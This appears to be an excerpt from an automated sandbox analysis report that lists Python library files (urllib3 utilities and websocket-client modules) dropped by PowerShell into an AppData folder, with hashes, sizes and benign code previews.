              Entropy (8bit):4.878450596452805
              Encrypted:false
              SSDEEP:
              MD5:315406A6A4D48F43D3DDA930E408DCDE
              SHA1:A41345D8FDF9312F6BCE9B0BB66478C7841E2E69
              SHA-256:58DF1AE8A3CF72FBA46D9D0C5250403A41A297C6D8298F0DA0860EC3B41E38B2
              SHA-512:4E497BF9687658397AFAD745E0AB94AEA8199451FACDD6C8BB85725D5819EDEC6B807F3DF4E7D2AC42D24B8921FFACA2623E28B142BED61658B02D30968ECC4D
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import hashlib.import hmac.import os.import socket.import sys.import typing.import warnings.from binascii import unhexlify..from ..exceptions import ProxySchemeUnsupported, SSLError.from .url import _BRACELESS_IPV6_ADDRZ_RE, _IPV4_RE..SSLContext = None.SSLTransport = None.HAS_NEVER_CHECK_COMMON_NAME = False.IS_PYOPENSSL = False.ALPN_PROTOCOLS = ["http/1.1"].._TYPE_VERSION_INFO = typing.Tuple[int, int, int, str, int]..# Maps the length of a digest to a possible hash function producing this digest.HASHFUNC_MAP = {. length: getattr(hashlib, algorithm, None). for length, algorithm in ((32, "md5"), (40, "sha1"), (64, "sha256")).}...def _is_bpo_43522_fixed(. implementation_name: str,. version_info: _TYPE_VERSION_INFO,. pypy_version_info: _TYPE_VERSION_INFO | None,.) -> bool:. """Return True for CPython 3.8.9+, 3.9.3+ or 3.10+ and PyPy 7.3.8+ where. setting SSLContext.hostname_checks_common_name to False works... Outside of CPython a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\ssl_match_hostname.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5812
              Entropy (8bit):4.693270482744315
              Encrypted:false
              SSDEEP:
              MD5:AA846D5E039C6A30B7F7C3B684CAE3E7
              SHA1:9BD94E0DDD8ABF77F0A719D11A00836978C8F5B8
              SHA-256:81A5AA8B1A18B50FC628EF1F7111858F755778CA2ACB1410B944CF8167A22FF3
              SHA-512:DE8ACBBC98797D455A47C6F136F6415F36846F6CD8F09591407690BD673566DC483447FFE8DD125D6AD99A7B3C0137F3A3C31406E665597B0C86A04436F84408
              Malicious:false
              Reputation:unknown
              Preview:"""The match_hostname() function from Python 3.5, essential when using SSL."""..# Note: This file is under the PSF license as the code comes from the python.# stdlib. http://docs.python.org/3/license.html.# It is modified to remove commonName support...from __future__ import annotations..import ipaddress.import re.import typing.from ipaddress import IPv4Address, IPv6Address..if typing.TYPE_CHECKING:. from .ssl_ import _TYPE_PEER_CERT_RET_DICT..__version__ = "3.5.0.1"...class CertificateError(ValueError):. pass...def _dnsname_match(. dn: typing.Any, hostname: str, max_wildcards: int = 1.) -> typing.Match[str] | None | bool:. """Matching according to RFC 6125, section 6.4.3.. http://tools.ietf.org/html/rfc6125#section-6.4.3. """. pats = []. if not dn:. return False.. # Ported from python3-syntax:. # leftmost, *remainder = dn.split(r'.'). parts = dn.split(r"."). leftmost = parts[0]. remainder = parts[1:].. wildcards = leftmost.count("*").

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\ssltransport.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8887
              Entropy (8bit):4.514513834687227
              Encrypted:false
              SSDEEP:
              MD5:47BEAC947B716FC99C5415D8B165AB40
              SHA1:1274169EA2A11D1E8243020DD3E49F66463E9EC7
              SHA-256:C29AC1BE19208DD76184CC3011B1F23F8972807A4FE924BEE3912E87BA1EE3C9
              SHA-512:E277F753860C78E5A0DFA22266FDFA6693C536FB55FB8B1CAB6156973168247152ADFD8E03E77215131921AECC35835D3FB577B049B099F356621380C406DCB7
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import io.import socket.import ssl.import typing..from ..exceptions import ProxySchemeUnsupported..if typing.TYPE_CHECKING:. from typing_extensions import Self.. from .ssl_ import _TYPE_PEER_CERT_RET, _TYPE_PEER_CERT_RET_DICT..._WriteBuffer = typing.Union[bytearray, memoryview]._ReturnValue = typing.TypeVar("_ReturnValue")..SSL_BLOCKSIZE = 16384...class SSLTransport:. """. The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. implement TLS within TLS... The class supports most of the socket API operations.. """.. @staticmethod. def _validate_ssl_context_for_tls_in_tls(ssl_context: ssl.SSLContext) -> None:. """. Raises a ProxySchemeUnsupported if the provided ssl_context can't be used. for TLS in TLS... The only require

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\timeout.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):10346
              Entropy (8bit):4.487203103410679
              Encrypted:false
              SSDEEP:
              MD5:F4A48CE35A9B5729FEEA01D44490FCCF
              SHA1:166C5F455B7F05AD8D63687B29A0BF0724EBB2D5
              SHA-256:E1E4F5155799654EE1EE6603D49AB639735EE1FC5E91D36F868594919BAC4690
              SHA-512:669DA13231076509EC6F7005F55A91FC1364EDA287185842B738F0360088C7624EDA43C7151FD1CA1504CCD0D324FC54302BD4FCFC590027BA6264763F06485C
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import time.import typing.from enum import Enum.from socket import getdefaulttimeout..from ..exceptions import TimeoutStateError..if typing.TYPE_CHECKING:. from typing import Final...class _TYPE_DEFAULT(Enum):. # This value should never be passed to socket.settimeout() so for safety we use a -1.. # socket.settimout() raises a ValueError for negative values.. token = -1..._DEFAULT_TIMEOUT: Final[_TYPE_DEFAULT] = _TYPE_DEFAULT.token.._TYPE_TIMEOUT = typing.Optional[typing.Union[float, _TYPE_DEFAULT]]...class Timeout:. """Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=timeout).. resp = http.request("GET", "https://example.com/").. print(resp.status).. Or per-request (which overrides the default for the pool):.. .. code-block:: python

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\url.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):15213
              Entropy (8bit):4.872083630674659
              Encrypted:false
              SSDEEP:
              MD5:811AF7DB53FFD4120CE4D151FAFA1F24
              SHA1:4CA2FFF416F7893D662E257A6E1E7090524545AC
              SHA-256:C07391869F344405F24E5008913A8B1734AB914EC9DF8643C57FAD37AE4C0599
              SHA-512:3EA9FA41032E093F417A75420A6D94212E226999F4FEEC0C26DDC6D8845F43CD8FC4300610E62DF37A087CE3BE10CBEDB41B0EBA17C6685CA8D8E5F46CB504B2
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import re.import typing..from ..exceptions import LocationParseError.from .util import to_str..# We only want to normalize urls with an HTTP(S) scheme..# urllib3 infers URLs without a scheme (None) to be http.._NORMALIZABLE_SCHEMES = ("http", "https", None)..# Almost all of these patterns were derived from the.# 'rfc3986' module: https://github.com/python-hyper/rfc3986._PERCENT_RE = re.compile(r"%[a-fA-F0-9]{2}")._SCHEME_RE = re.compile(r"^(?:[a-zA-Z][a-zA-Z0-9+-]*:|/)")._URI_RE = re.compile(. r"^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?". r"(?://([^\\/?#]*))?". r"([^?#]*)". r"(?:\?([^#]*))?". r"(?:#(.*))?$",. re.UNICODE | re.DOTALL,.).._IPV4_PAT = r"(?:[0-9]{1,3}\.){3}[0-9]{1,3}"._HEX_PAT = "[0-9A-Fa-f]{1,4}"._LS32_PAT = "(?:{hex}:{hex}|{ipv4})".format(hex=_HEX_PAT, ipv4=_IPV4_PAT)._subs = {"hex": _HEX_PAT, "ls32": _LS32_PAT}._variations = [. # 6( h16 ":" ) ls32. "(?:%(hex)s:){6}%(ls32)s",. #

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\util.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1146
              Entropy (8bit):4.443278207032918
              Encrypted:false
              SSDEEP:
              MD5:3C5DC84F86959542DF8F2D38FDCD9366
              SHA1:AC7A579CE7E37CE8BF215F97B9BFB80B149B0F68
              SHA-256:8F795B64AD633F28B00F7E13F08809CDD5846554FEE04FB4BD82098BD52378D0
              SHA-512:A67CDF2BB9B97217A8E99EDA0089961A5B4EA6BDD5BCB0BA490469FFFF422430373D61B2E9FF3E5B54CE23C5361C07EBD9B845003D35DC7FDCF3DCCA7A826A07
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import typing.from types import TracebackType...def to_bytes(. x: str | bytes, encoding: str | None = None, errors: str | None = None.) -> bytes:. if isinstance(x, bytes):. return x. elif not isinstance(x, str):. raise TypeError(f"not expecting type {type(x).__name__}"). if encoding or errors:. return x.encode(encoding or "utf-8", errors=errors or "strict"). return x.encode()...def to_str(. x: str | bytes, encoding: str | None = None, errors: str | None = None.) -> str:. if isinstance(x, str):. return x. elif not isinstance(x, bytes):. raise TypeError(f"not expecting type {type(x).__name__}"). if encoding or errors:. return x.decode(encoding or "utf-8", errors=errors or "strict"). return x.decode()...def reraise(. tp: type[BaseException] | None,. value: BaseException,. tb: TracebackType | None = None,.) -> typing.NoReturn:. try:. if value.__traceback__ is not t

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\wait.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4423
              Entropy (8bit):4.57958390877449
              Encrypted:false
              SSDEEP:
              MD5:D333C4CDB4CF3074C1245164C65AAC59
              SHA1:B8FFB5126AB052A8798F03EFB7BC3D8C1BD6837A
              SHA-256:FE987C22B511DECA8FAA2D0EA29420254947E30CE419E3390A2C80ED7186B662
              SHA-512:A30CF0681A11CCB899D2FDD3CF355482DD8D3F51F2EFA4AE88C0A4B65C6E1A53FBB734F7BAE2DC51E85B5BE4AA767237EA14596FDECF66A715D51563B908AC5D
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import select.import socket.from functools import partial..__all__ = ["wait_for_read", "wait_for_write"]...# How should we wait on sockets?.#.# There are two types of APIs you can use for waiting on sockets: the fancy.# modern stateful APIs like epoll/kqueue, and the older stateless APIs like.# select/poll. The stateful APIs are more efficient when you have a lots of.# sockets to keep track of, because you can set them up once and then use them.# lots of times. But we only ever want to wait on a single socket at a time.# and don't want to keep track of state, so the stateless APIs are actually.# more efficient. So we want to use select() or poll()..#.# Now, how do we choose between select() and poll()? On traditional Unixes,.# select() has a strange calling convention that makes it slow, or fail.# altogether, for high-numbered file descriptors. The point of poll() is to fix.# that, so on Unixes, we prefer poll()..#.# On Windows, there is no poll() (o

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):833
              Entropy (8bit):4.959847702307672
              Encrypted:false
              SSDEEP:
              MD5:7775948E379A698B6F7F0DB8926A95AE
              SHA1:E062FC33B86A7B9250A9EB10C8F448C1B9A0A86C
              SHA-256:1AF5694CF923BE16041997235ECCD27EBB3615A547B9D51D1A0192A9FFD16F0E
              SHA-512:C3ACBBB091977ED497C60DCD01A51DDC4DDA259033B65B3CFA55D6755BD045E23B47CB9C6F812123C2E72CD5EDD793C116BEAA8FD2F43F177E78A77F2EF34D64
              Malicious:false
              Reputation:unknown
              Preview:""".__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".from ._abnf import *.from ._app import WebSocketApp as WebSocketApp, setReconnect as setReconnect.from ._core import *.from ._exceptions import *.from ._logging import *.from ._socket import *..__version__ = "1.8.0".

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_abnf.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):14385
              Entropy (8bit):4.848807375084742
              Encrypted:false
              SSDEEP:
              MD5:8ADD410E88A5612988C997819E4655AA
              SHA1:554BDA7F3021E07FE1D4E24AA7E00EB43E5A66CB
              SHA-256:59EB14252486491A73B93A7455E2B5D8EE1261854C37A0B237A6EA5D2E25936C
              SHA-512:7642448A35DFD7623F355DF22D1FAA3B70A6B5FC17B1AF06F445154DDEDA3139DE02FB80AF24D09CEC0B109BA5687C5BDC320AD3E1E1500B0C9A567DFFBF953D
              Malicious:false
              Reputation:unknown
              Preview:import array.import os.import struct.import sys.from threading import Lock.from typing import Callable, Optional, Union..from ._exceptions import WebSocketPayloadException, WebSocketProtocolException.from ._utils import validate_utf8.."""._abnf.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..try:. # If wsaccel is available, use compiled routines to mask data.. # wsaccel only provides around a 10% speed boost compared. # to the web

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_app.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):24176
              Entropy (8bit):4.286112006590021
              Encrypted:false
              SSDEEP:
              MD5:969ACCA2E09B43CFCD8BD9AB6F4436D3
              SHA1:87FE009278EFA0E6F03CE7AC254C8297D1698AA0
              SHA-256:C4202568CD857EC3CBB1A12C0465E1760E289470C413389FEA595259E7C7726F
              SHA-512:3D74257EC9DD09F24FED72DA4F9F857B6E91D35641164D5B98700CD2B212A082D439F8F841A4D6C37D28665DAD459305534572DCA127F02FD9555A7E05BD6E0C
              Malicious:false
              Reputation:unknown
              Preview:import inspect.import selectors.import socket.import threading.import time.from typing import Any, Callable, Optional, Union..from . import _logging.from ._abnf import ABNF.from ._core import WebSocket, getdefaulttimeout.from ._exceptions import (. WebSocketConnectionClosedException,. WebSocketException,. WebSocketTimeoutException,.).from ._ssl_compat import SSLEOFError.from ._url import parse_url.."""._app.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_cookiejar.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2399
              Entropy (8bit):4.233025812751045
              Encrypted:false
              SSDEEP:
              MD5:ADF0E1D2B7019795A0A0097E95A88EA1
              SHA1:90D7BA8C28A84D5458415F0992FFBE100A524952
              SHA-256:F3DDD25A81E693F272B225E3F259322F2F79728E73BEE0BAD9718CAEF9A023B1
              SHA-512:B484D26A9E80248E7FE6799C8EF2D22042FA5E03263D4576372A9FF151FCCBF787B9E1F7CDFDCD17E3F518093EF6A17C4282DDFBC63FDC7D501604D59BC4E121
              Malicious:false
              Reputation:unknown
              Preview:import http.cookies.from typing import Optional.."""._cookiejar.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""...class SimpleCookieJar:. def __init__(self) -> None:. self.jar: dict = {}.. def add(self, set_cookie: Optional[str]) -> None:. if set_cookie:. simple_cookie = http.cookies.SimpleCookie(set_cookie).. for v in simple_cookie.values():. if domain := v.get("domain"):.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_core.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):21080
              Entropy (8bit):4.424175697192212
              Encrypted:false
              SSDEEP:
              MD5:DBF9560EAB036E84ED3D64748AAD031A
              SHA1:64D0E416525D14BC6DA74785123344DBDCE6FC65
              SHA-256:3FE95873093E2CA254283A8195E26C9914882635F6BFFA381689E074961B867F
              SHA-512:EF5E60E7742778309BBD7A368451FC3C089D6F24EB819C61D9D784540A664D25D389EA837C832B549A9403D79166694557B445CF1EC75FA93E8016B1FB878952
              Malicious:false
              Reputation:unknown
              Preview:import socket.import struct.import threading.import time.from typing import Optional, Union..# websocket modules.from ._abnf import ABNF, STATUS_NORMAL, continuous_frame, frame_buffer.from ._exceptions import WebSocketProtocolException, WebSocketConnectionClosedException.from ._handshake import SUPPORTED_REDIRECT_STATUSES, handshake.from ._http import connect, proxy_info.from ._logging import debug, error, trace, isEnabledForError, isEnabledForTrace.from ._socket import getdefaulttimeout, recv, send, sock_opt.from ._ssl_compat import ssl.from ._utils import NoLock.."""._core.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS I

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_exceptions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2178
              Entropy (8bit):4.694646566674817
              Encrypted:false
              SSDEEP:
              MD5:68CB66FEF8444FC72E4E3B11426A8E9A
              SHA1:545638D7B8823EE10376105E7A6E2A83E0FA81CE
              SHA-256:AFB946682F18D9BAC19DA2BF6092510DD618E940865B1397A10B0C720145789E
              SHA-512:05CC7BC26B54393EBCEA9BC29AAA2649FC04838D8E6E002997FEFAF24B035081ACFE98FCE6554477A42A0FDD2D6262BBFD1C63E402AC2ACFB018FB12F3359DB4
              Malicious:false
              Reputation:unknown
              Preview:"""._exceptions.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""...class WebSocketException(Exception):. """. WebSocket exception class.. """.. pass...class WebSocketProtocolException(WebSocketException):. """. If the WebSocket protocol is invalid, this exception will be raised.. """.. pass...class WebSocketPayloadException(WebSocketException):. """. If the WebSocket payload is invalid, this exception will be ra

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_handshake.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6578
              Entropy (8bit):4.899084345690126
              Encrypted:false
              SSDEEP:
              MD5:2786D1FDEF78BDB8A61F442319FFCBF5
              SHA1:00333DF00E37673764DDE0FA8BAD7B12832437D7
              SHA-256:87FF3C4BABE14AD399063E7330626D20A155D5154C56E12C90BC9B8C90A76A3E
              SHA-512:43C0DC848DAFF91A369481C7C47B878228C31B4CE07E998187A4808B98BEC42EED7F6DF696B6F14F335FC31417B051A0E23FF2C3997D55E3927AE2D6C2DF07BB
              Malicious:false
              Reputation:unknown
              Preview:"""._handshake.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".import hashlib.import hmac.import os.from base64 import encodebytes as base64encode.from http import HTTPStatus..from ._cookiejar import SimpleCookieJar.from ._exceptions import WebSocketException, WebSocketBadStatusException.from ._http import read_headers.from ._logging import dump, error.from ._socket import send..__all__ = ["handshake_response", "handshake", "SUPPORTED_REDIR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_http.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):12818
              Entropy (8bit):4.632949700173338
              Encrypted:false
              SSDEEP:
              MD5:5C262A436290AAE2EEA1BF714D12BBA7
              SHA1:F1D27671EC272B944B6B801E8EEACDCC325F330D
              SHA-256:DF71ACAE85A02E13AC13CA4C0B65E46BE463A273EE532A6378544004502D409A
              SHA-512:1669C4C98BE2D03A23E3A4DA49C9630E721247A97CEB6CF0B37F3E3C82E79D3F1CE86B443AC0A1A87B21B34013C5D04F369D7643CAE78B1569EF8FFC16D531EA
              Malicious:false
              Reputation:unknown
              Preview:"""._http.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".import errno.import os.import socket.from base64 import encodebytes as base64encode..from ._exceptions import (. WebSocketAddressException,. WebSocketException,. WebSocketProxyException,.).from ._logging import debug, dump, trace.from ._socket import DEFAULT_SOCKET_OPTION, recv_line, send.from ._ssl_compat import HAVE_SSL, ssl.from ._url import get_proxy_info, parse_url..__a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_logging.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2228
              Entropy (8bit):4.84593041409184
              Encrypted:false
              SSDEEP:
              MD5:F6ED1BDAAE567FE7BD69477D21D996A7
              SHA1:A2C33019225AC20377D310DD7F3E801DE0205074
              SHA-256:0C7454978B0469292896F328E00EAEA67ED42181749094F936500BD2F5821D12
              SHA-512:0673D81875A200D77C341E943A4007E880C5F1C8FD6A0DA4CF0846CA09289A6C203D91D80A4D4BE71FF71D9392A85D025AE3A25E270C4FBC85B019464F307BB6
              Malicious:false
              Reputation:unknown
              Preview:import logging.."""._logging.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".._logger = logging.getLogger("websocket").try:. from logging import NullHandler.except ImportError:.. class NullHandler(logging.Handler):. def emit(self, record) -> None:. pass..._logger.addHandler(NullHandler()).._traceEnabled = False..__all__ = [. "enableTrace",. "dump",. "error",. "warning",. "debug",. "trace",. "isEn

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_socket.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5198
              Entropy (8bit):4.70492713419674
              Encrypted:false
              SSDEEP:
              MD5:FB0EA0876954B9C9D2E1808270024AB2
              SHA1:936216178CCD21C5ED05052D56C7C1B4C7740980
              SHA-256:369B1404ED628670BEC4F034536A35FA13172BC7A2A6535C53D476559BD9DEA5
              SHA-512:A273AA6ABA364A244D85A3AA8D290A7A2A2A6F92AD826B70C4C6BAB7012965A9B345C3E0E7A5F9D09A5322C208E25394BF9C2BD26CC3E3D3CD02CF38EB3D8663
              Malicious:false
              Reputation:unknown
              Preview:import errno.import selectors.import socket.from typing import Union..from ._exceptions import (. WebSocketConnectionClosedException,. WebSocketTimeoutException,.).from ._ssl_compat import SSLError, SSLWantReadError, SSLWantWriteError.from ._utils import extract_error_code, extract_err_message.."""._socket.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..DEFAULT_SOCKET_OPTION = [(socket.SOL_TCP, socket.TCP_NODELAY, 1)].if hasattr(sock

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_ssl_compat.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1188
              Entropy (8bit):4.871716808910192
              Encrypted:false
              SSDEEP:
              MD5:475250E9018C5B5E6ACBDD569D95F96D
              SHA1:8C658B1FCFC35A893B67AF5C72F19F57FAC58BA8
              SHA-256:4913EDC35AD3DCB3D297DABBD260A2E615BD876C52FA721F75C5DB8F21A2F2C1
              SHA-512:E012B6CF26558A50D47415B7EDF0D99DAC18FAC023AF2876AA441A4CFB74F86C6F091ABB073687A4CB14782B9861FBCF5E28C164831DC8E37F05CA0944142E8B
              Malicious:false
              Reputation:unknown
              Preview:"""._ssl_compat.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".__all__ = [. "HAVE_SSL",. "ssl",. "SSLError",. "SSLEOFError",. "SSLWantReadError",. "SSLWantWriteError",.]..try:. import ssl. from ssl import SSLError, SSLEOFError, SSLWantReadError, SSLWantWriteError.. HAVE_SSL = True.except ImportError:. # dummy class of SSLError for environment without ssl support. class SSLError(Exception):. pass..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_url.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5251
              Entropy (8bit):4.621526969186157
              Encrypted:false
              SSDEEP:
              MD5:2C6E42DED177F071FE509138942CA042
              SHA1:64E129E8A17F325F5432F02F66908D28F8AE9501
              SHA-256:91B11D6DD67E04C328610DEC31F729F50118D4862B0E9A48282A4820774654C7
              SHA-512:39CCBEB99CAFEB7ACCA66307308BD9033B47B352CE2B08D48A391BFAB1CDE804E2FB97CC0EA59BEF603F4ABB2462F2AC5D8AFB3B41E3973104C5871CCD87EC42
              Malicious:false
              Reputation:unknown
              Preview:import os.import socket.import struct.from typing import Optional.from urllib.parse import unquote, urlparse.from ._exceptions import WebSocketProxyException.."""._url.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..__all__ = ["parse_url", "get_proxy_info"]...def parse_url(url: str) -> tuple:. """. parse url and the result is tuple of. (hostname, port, resource path and the flag of secure mode).. Parameters. ----------. u

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_utils.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6961
              Entropy (8bit):3.474420330492046
              Encrypted:false
              SSDEEP:
              MD5:63D88387C8231469A1A4776FDE1C2516
              SHA1:B27C1C0B0E852EF2C2D17028B5FEB91DBADCD65D
